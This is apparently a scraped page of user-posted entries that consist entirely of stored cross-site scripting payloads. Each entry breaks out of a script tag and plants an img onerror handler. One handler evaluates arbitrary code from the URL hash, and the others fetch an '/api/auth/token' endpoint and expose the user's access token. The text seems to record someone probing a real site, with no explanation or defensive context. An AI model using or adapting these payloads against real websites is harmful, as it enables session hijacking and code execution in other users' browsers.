w8loujnc Apr 21 aaaaa</script><img src=x onerror='eval(decodeURIComponent(location.hash.slice(1)))'> xss aaaaa</script><img src=x onerror='eval(decodeURIComponent(location.hash.slice(1)))'>
w8loujnc Apr 21 aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(j.data.accessToken))'> xss aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(j.data.accessToken))'>
w8loujnc Apr 21 aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(!!j.data.accessToken))'> xss aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(!!j.data.accessToken))'>
w8loujnc Apr 21 aaaaa</script><img src=x onerror="fetch('/api/auth/token').then(r=>r.json()).then(j=>alert(!!j.data.accessToken))"> xss aaaaa</script><img src=x onerror="fetch('/api/auth/token').then(r=>r.json()).then(j=>alert(!!j.data.accessToken))">